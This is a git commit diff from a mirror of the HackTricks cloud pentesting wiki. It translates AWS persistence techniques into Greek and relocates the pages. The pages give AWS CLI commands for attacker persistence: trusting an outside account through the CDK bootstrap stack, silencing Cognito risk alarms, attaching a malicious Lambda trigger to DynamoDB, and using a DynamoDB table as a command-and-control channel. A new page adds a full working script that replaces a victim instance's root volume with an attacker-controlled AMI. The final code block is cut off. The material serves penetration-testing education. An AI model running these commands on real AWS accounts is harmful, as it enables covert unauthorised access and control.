mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Τροποποιήστε την πολιτική πόρων του API gateway(s) για να αποκτήσετε πρόσβαση σε αυτά.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Τροποποιήστε τον κώδικα των lambda authorizers για να αποκτήσετε πρόσβαση σε όλα τα endpoints.\
|
||||
Ή απλά αφαιρέστε τη χρήση του authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Εάν ένας πόρος χρησιμοποιεί IAM authorizer, μπορείτε να αποκτήσετε πρόσβαση σε αυτόν τροποποιώντας τις IAM permissions.\
|
||||
Ή απλά αφαιρέστε τη χρήση του authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Εάν χρησιμοποιούνται API keys, μπορείτε να τα διαρρεύσετε για να διατηρήσετε την επιμονή ή ακόμα και να δημιουργήσετε νέα.\
|
||||
Ή απλά αφαιρέστε τη χρήση των API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Τροποποιήστε την resource policy των API gateway(s) για να αποκτήσετε πρόσβαση σε αυτά
|
||||
|
||||
### Τροποποιήστε τους Lambda Authorizers
|
||||
|
||||
Τροποποιήστε τον κώδικα των lambda authorizers για να δώσετε στον εαυτό σας πρόσβαση σε όλα τα endpoints.\
|
||||
Ή απλώς καταργήστε τη χρήση του authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Εάν ένας resource χρησιμοποιεί IAM authorizer μπορείτε να δώσετε στον εαυτό σας πρόσβαση σε αυτό τροποποιώντας τα IAM permissions.\
|
||||
Ή απλώς καταργήστε τη χρήση του authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Εάν χρησιμοποιούνται API keys, μπορείτε να leak αυτά για να διατηρήσετε persistence ή ακόμα και να δημιουργήσετε νέα.\
|
||||
Ή απλώς καταργήστε τη χρήση των API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
Ο AWS CDK αναπτύσσει ένα CFN stack που ονομάζεται `CDKToolkit`. Αυτό το stack υποστηρίζει μια παράμετρο `TrustedAccounts` που επιτρέπει σε εξωτερικούς λογαριασμούς να αναπτύσσουν έργα CDK στον λογαριασμό του θύματος. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να αποκτήσει απεριόριστη πρόσβαση στον λογαριασμό του θύματος, είτε χρησιμοποιώντας το AWS cli για να αναπτύξει ξανά το stack με παραμέτρους, είτε το AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Διαρκεια Χρήστη
|
||||
|
||||
Το Cognito είναι μια υπηρεσία που επιτρέπει την εκχώρηση ρόλων σε μη αυθεντικοποιημένους και αυθεντικοποιημένους χρήστες και τον έλεγχο ενός καταλόγου χρηστών. Πολλές διαφορετικές ρυθμίσεις μπορούν να τροποποιηθούν για να διατηρηθεί κάποια διαρκεια, όπως:
|
||||
|
||||
- **Προσθήκη ενός User Pool** που ελέγχεται από τον χρήστη σε ένα Identity Pool
|
||||
- Δώστε έναν **IAM ρόλο σε ένα μη αυθεντικοποιημένο Identity Pool και επιτρέψτε τη ροή βασικής αυθεντικοποίησης**
|
||||
- Ή σε ένα **αυθεντικοποιημένο Identity Pool** αν ο επιτιθέμενος μπορεί να συνδεθεί
|
||||
- Ή **βελτιώστε τις άδειες** των δοθέντων ρόλων
|
||||
- **Δημιουργία, επαλήθευση & privesc** μέσω χρηστών που ελέγχονται από χαρακτηριστικά ή νέων χρηστών σε ένα **User Pool**
|
||||
- **Επιτρέποντας σε εξωτερικούς Παρόχους Ταυτότητας** να συνδεθούν σε ένα User Pool ή σε ένα Identity Pool
|
||||
|
||||
Δείτε πώς να εκτελέσετε αυτές τις ενέργειες στο
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Ένας επιτιθέμενος με αυτό το προνόμιο θα μπορούσε να τροποποιήσει τη ρύθμιση κινδύνου ώστε να μπορεί να συνδεθεί ως χρήστης Cognito **χωρίς να ενεργοποιούνται συναγερμοί**. [**Δείτε το cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) για να ελέγξετε όλες τις επιλογές:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Από προεπιλογή αυτό είναι απενεργοποιημένο:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Διατήρηση
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Διατήρηση χρηστών
|
||||
|
||||
Cognito είναι μια υπηρεσία που επιτρέπει να ανατίθενται roles σε unauthenticated και authenticated users και να ελέγχεται ένας κατάλογος χρηστών. Πολλές διαφορετικές ρυθμίσεις μπορούν να τροποποιηθούν για να διατηρηθεί κάποια persistence, όπως:
|
||||
|
||||
- **Adding a User Pool** ελεγχόμενο από τον χρήστη σε ένα Identity Pool
|
||||
- Δώστε ένα **IAM role** σε ένα unauthenticated Identity Pool και επιτρέψτε Basic auth flow
|
||||
- Ή σε ένα **authenticated Identity Pool** αν ο attacker μπορεί να κάνει login
|
||||
- Ή **βελτιώστε τα permissions** των δοθέντων roles
|
||||
- **Create, verify & privesc** μέσω attributes σε ελεγχόμενους χρήστες ή νέους χρήστες σε ένα **User Pool**
|
||||
- **Allowing external Identity Providers** να κάνουν login σε ένα User Pool ή σε ένα Identity Pool
|
||||
|
||||
Δείτε πώς να πραγματοποιήσετε αυτές τις ενέργειες στο
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Ένας attacker με αυτό το privilege θα μπορούσε να τροποποιήσει τη risk configuration ώστε να μπορεί να κάνει login ως χρήστης Cognito **χωρίς να ενεργοποιούνται alarms**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) για να δείτε όλες τις επιλογές:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Από προεπιλογή αυτό είναι απενεργοποιημένο:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Χρησιμοποιώντας τους triggers του DynamoDB, ένας επιτιθέμενος μπορεί να δημιουργήσει μια **κρυφή πίσω πόρτα** συνδέοντας μια κακόβουλη λειτουργία Lambda με έναν πίνακα. Η λειτουργία Lambda μπορεί να ενεργοποιηθεί όταν ένα στοιχείο προστεθεί, τροποποιηθεί ή διαγραφεί, επιτρέποντας στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα εντός του λογαριασμού AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Για να διατηρηθεί η επιμονή, ο επιτιθέμενος μπορεί να δημιουργήσει ή να τροποποιήσει στοιχεία στον πίνακα DynamoDB, γεγονός που θα ενεργοποιήσει τη κακόβουλη λειτουργία Lambda. Αυτό επιτρέπει στον επιτιθέμενο να εκτελεί κώδικα εντός του λογαριασμού AWS χωρίς άμεση αλληλεπίδραση με τη λειτουργία Lambda.
|
||||
|
||||
### DynamoDB ως Κανάλι C2
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει έναν πίνακα DynamoDB ως **κανάλι εντολών και ελέγχου (C2)** δημιουργώντας στοιχεία που περιέχουν εντολές και χρησιμοποιώντας συμβιβασμένα instances ή λειτουργίες Lambda για να ανακτούν και να εκτελούν αυτές τις εντολές.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Οι παραβιασμένες περιπτώσεις ή οι λειτουργίες Lambda μπορούν περιοδικά να ελέγχουν τον πίνακα C2 για νέες εντολές, να τις εκτελούν και προαιρετικά να αναφέρουν τα αποτελέσματα πίσω στον πίνακα. Αυτό επιτρέπει στον επιτιθέμενο να διατηρεί την επιμονή και τον έλεγχο πάνω στους παραβιασμένους πόρους.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Για περισσότερες πληροφορίες, δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Χρησιμοποιώντας τα DynamoDB triggers, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα **stealthy backdoor** συνδέοντας μια κακόβουλη Lambda function με έναν πίνακα. Η Lambda function μπορεί να ενεργοποιηθεί όταν ένα αντικείμενο προστεθεί, τροποποιηθεί ή διαγραφεί, επιτρέποντας στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα εντός του AWS account.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Για να διατηρήσει persistence, ο επιτιθέμενος μπορεί να δημιουργήσει ή να τροποποιήσει items στον πίνακα DynamoDB, κάτι που θα ενεργοποιήσει την κακόβουλη Lambda function. Αυτό επιτρέπει στον επιτιθέμενο να εκτελέσει code εντός του AWS account χωρίς άμεση αλληλεπίδραση με τη Lambda function.
|
||||
|
||||
### DynamoDB ως C2 Channel
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει έναν πίνακα DynamoDB ως **command and control (C2) channel** δημιουργώντας items που περιέχουν commands και χρησιμοποιώντας compromised instances ή Lambda functions για να ανακτήσουν και να εκτελέσουν αυτά τα commands.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Οι compromised instances ή Lambda functions μπορούν περιοδικά να ελέγχουν τον C2 table για νέες εντολές, να τις εκτελούν και προαιρετικά να αναφέρουν τα αποτελέσματα πίσω στον C2 table. Αυτό επιτρέπει στον attacker να διατηρεί persistence και έλεγχο επί των compromised resources.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Παρακολούθηση Σύνδεσης Ομάδας Ασφαλείας
|
||||
|
||||
Αν ένας αμυντικός διαπιστώσει ότι μια **EC2 instance έχει παραβιαστεί**, πιθανότατα θα προσπαθήσει να **απομονώσει** το **δίκτυο** της μηχανής. Θα μπορούσε να το κάνει με μια ρητή **Deny NACL** (αλλά οι NACL επηρεάζουν ολόκληρο το υποδίκτυο), ή **αλλάζοντας την ομάδα ασφαλείας** ώστε να μην επιτρέπει **κανένα είδος εισερχόμενης ή εξερχόμενης** κίνησης.
|
||||
|
||||
Αν ο επιτιθέμενος είχε μια **reverse shell που προήλθε από τη μηχανή**, ακόμη και αν η SG τροποποιηθεί ώστε να μην επιτρέπει εισερχόμενη ή εξερχόμενη κίνηση, η **σύνδεση δεν θα τερματιστεί λόγω** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Αυτή η υπηρεσία επιτρέπει να **προγραμματίσετε** τη **δημιουργία AMIs και snapshots** και ακόμη και να **τα μοιραστείτε με άλλους λογαριασμούς**.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να ρυθμίσει τη **δημιουργία AMIs ή snapshots** όλων των εικόνων ή όλων των τόμων **κάθε εβδομάδα** και να **τα μοιραστεί με τον λογαριασμό του**.
|
||||
|
||||
### Προγραμματισμένες Εγκαταστάσεις
|
||||
|
||||
Είναι δυνατόν να προγραμματίσετε εγκαταστάσεις να τρέχουν καθημερινά, εβδομαδιαία ή ακόμη και μηνιαία. Ένας επιτιθέμενος θα μπορούσε να τρέξει μια μηχανή με υψηλά προνόμια ή ενδιαφέροντα πρόσβαση όπου θα μπορούσε να έχει πρόσβαση.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Οι spot instances είναι **φθηνότερες** από τις κανονικές εγκαταστάσεις. Ένας επιτιθέμενος θα μπορούσε να εκκινήσει μια **μικρή αίτηση spot fleet για 5 χρόνια** (για παράδειγμα), με **αυτόματη ανάθεση IP** και **user data** που στέλνει στον επιτιθέμενο **όταν η spot instance ξεκινήσει** και τη **διεύθυνση IP** και με έναν **ρόλο IAM υψηλών προνομίων**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις εγκαταστάσεις και να τις backdoor:
|
||||
|
||||
- Χρησιμοποιώντας ένα παραδοσιακό **rootkit** για παράδειγμα
|
||||
- Προσθέτοντας ένα νέο **δημόσιο SSH key** (ελέγξτε [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring το **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor το χρησιμοποιούμενο AMI
|
||||
- Backdoor το User Data
|
||||
- Backdoor το Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Δημιουργήστε ένα VPN ώστε ο επιτιθέμενος να μπορεί να συνδεθεί απευθείας μέσω αυτού στο VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Δημιουργήστε μια σύνδεση peering μεταξύ του VPC του θύματος και του VPC του επιτιθέμενου ώστε να μπορεί να έχει πρόσβαση στο VPC του θύματος.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Αν ένας αμυνόμενος διαπιστώσει ότι μια **EC2 instance έχει παραβιαστεί**, πιθανότατα θα προσπαθήσει να **απομονώσει** το **network** της μηχανής. Μπορεί να το κάνει με ένα ρητό **Deny NACL** (αλλά τα NACLs επηρεάζουν ολόκληρο το subnet), ή **αλλάζοντας το security group** ώστε να μην επιτρέπει **κανένα είδος inbound ή outbound** traffic.
|
||||
|
||||
Αν ο επιτιθέμενος είχε ένα **reverse shell originated from the machine**, ακόμα και αν το SG τροποποιηθεί ώστε να μην επιτρέπει inbound ή outbound traffic, η **σύνδεση δεν θα τερματιστεί λόγω** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Αυτό το service επιτρέπει να **προγραμματίσετε** τη **δημιουργία AMIs και snapshots** και ακόμη και να **τα μοιράσετε με άλλους λογαριασμούς**.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να ρυθμίσει τη **δημιουργία AMIs ή snapshots** όλων των images ή όλων των volumes **κάθε εβδομάδα** και να **τα μοιράζεται με τον λογαριασμό του**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Είναι δυνατόν να προγραμματίσετε instances να τρέχουν καθημερινά, εβδομαδιαία ή ακόμα και μηνιαία. Ένας επιτιθέμενος θα μπορούσε να τρέξει μια μηχανή με υψηλά προνόμια ή ενδιαφέροντα access όπου θα μπορούσε να εισέλθει.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Οι Spot instances είναι **φθηνότερες** από τις κανονικές instances. Ένας επιτιθέμενος θα μπορούσε να ξεκινήσει ένα **μικρό spot fleet request για 5 χρόνια** (για παράδειγμα), με **αυτόματη ανάθεση IP** και ένα **user data** που στέλνει στον επιτιθέμενο **όταν το spot instance ξεκινήσει** την **IP address** και με ένα **υψηλά προνομιούχο IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις instances και να τις backdoor-άρει:
|
||||
|
||||
- Χρησιμοποιώντας για παράδειγμα ένα παραδοσιακό **rootkit**
|
||||
- Προσθέτοντας ένα νέο **public SSH key** (βλ. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring το **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Αντικαταστήστε το root EBS volume μιας τρέχουσας instance με ένα που έχει δημιουργηθεί από ένα AMI ή snapshot υπό έλεγχο του επιτιθέμενου χρησιμοποιώντας `CreateReplaceRootVolumeTask`. Η instance διατηρεί τα ENIs, IPs, και το role της, εκκινώντας ουσιαστικά σε κακόβουλο κώδικα ενώ φαίνεται αμετάβλητη.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Δημιουργήστε ένα VPN ώστε ο επιτιθέμενος να μπορεί να συνδεθεί απευθείας στο VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Δημιουργήστε μια peering σύνδεση μεταξύ του θυματικού VPC και του attacker VPC ώστε να μπορεί να αποκτήσει πρόσβαση στο victim VPC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Κατάχρηση του **ec2:CreateReplaceRootVolumeTask** για να αντικατασταθεί ο root EBS δίσκος μιας τρέχουσας instance με έναν που επαναφέρεται από AMI ή snapshot υπό έλεγχο του επιτιθέμενου. Η instance επανεκκινείται αυτόματα και επανέρχεται με το root filesystem που ελέγχει ο επιτιθέμενος, ενώ διατηρούνται οι ENIs, οι ιδιωτικές/δημόσιες IP, οι συνδεδεμένοι μη-root όγκοι και τα metadata της instance/IAM role.
|
||||
|
||||
## Απαιτήσεις
|
||||
- Η στοχευόμενη instance είναι EBS-backed και τρέχει στην ίδια region.
|
||||
- Συμβατό AMI ή snapshot: ίδια αρχιτεκτονική/virtualization/boot mode (και product codes, αν υπάρχουν) με τη στοχευόμενη instance.
|
||||
|
||||
## Προ-ελέγχοι
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Αντικατάσταση root από AMI (προτιμότερο)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Εναλλακτική με χρήση ενός snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Αποδεικτικά στοιχεία / Επαλήθευση
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Αναμενόμενο: ENI_ID και PRI_IP παραμένουν τα ίδια· το ID του root volume αλλάζει από $ORIG_VOL σε $NEW_VOL. Το σύστημα εκκινεί με το σύστημα αρχείων από το attacker-controlled AMI/snapshot.
|
||||
|
||||
## Σημειώσεις
|
||||
- Η API δεν απαιτεί να σταματήσετε χειροκίνητα το instance· το EC2 οργανώνει την επανεκκίνηση.
|
||||
- Από προεπιλογή, ο αντικατασταθείς (παλιός) root EBS volume αποσυνδέεται και παραμένει στον λογαριασμό (DeleteReplacedRootVolume=false). Αυτό μπορεί να χρησιμοποιηθεί για επαναφορά ή πρέπει να διαγραφεί για να αποφευχθούν χρεώσεις.
|
||||
|
||||
## Επαναφορά / Καθαρισμός
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
